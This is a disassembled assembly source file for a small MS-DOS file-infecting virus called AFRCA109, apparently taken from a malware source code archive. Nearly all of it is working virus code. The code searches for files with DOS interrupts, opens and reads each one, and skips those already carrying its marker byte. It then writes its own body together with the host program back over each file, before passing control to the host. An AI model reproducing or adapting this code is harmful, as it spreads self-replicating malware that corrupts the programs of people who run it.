MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.afrca109.asm
2021-01-12 17:29:01 -06:00

100 lines
2.1 KiB
NASM

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ AFRCA109 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 16-Sep-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: AW ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_2e equ 4F43h
data_3e equ 0FE00h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
afrca109 proc far
start:
mov si,100h
push si
mov ax,cs
add ah,10h
mov es,ax
xor di,di ; Zero register
mov cx,6Dh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov dx,data_3e
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
mov dx,167h
mov ah,4Eh ; 'N'
jmp short loc_2
loc_1:
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov ah,4Fh ; 'O'
loc_2:
push cs
pop ds
int 21h ; DOS Services ah=function 4Fh
; find next filename match
mov cx,0FE1Eh
jc loc_3 ; Jump if carry Set
mov dx,cx
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
xchg ax,bx
push es
pop ds
mov dx,di
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
add ax,6Dh
cmp byte ptr [di],0BEh
je loc_1 ; Jump if equal
push ax
xor cx,cx ; Zero register
mov ax,4200h
cwd ; Word to double word
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
pop cx
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
jmp short loc_1
loc_3:
push cs
pop es
mov bl,0FCh
mov word ptr [bx],0AAACh
mov word ptr [bx+2],0FCE2h
pop di
push bx
retn
sub ch,ds:data_2e
dec bp
add bl,al
afrca109 endp
seg_a ends
end start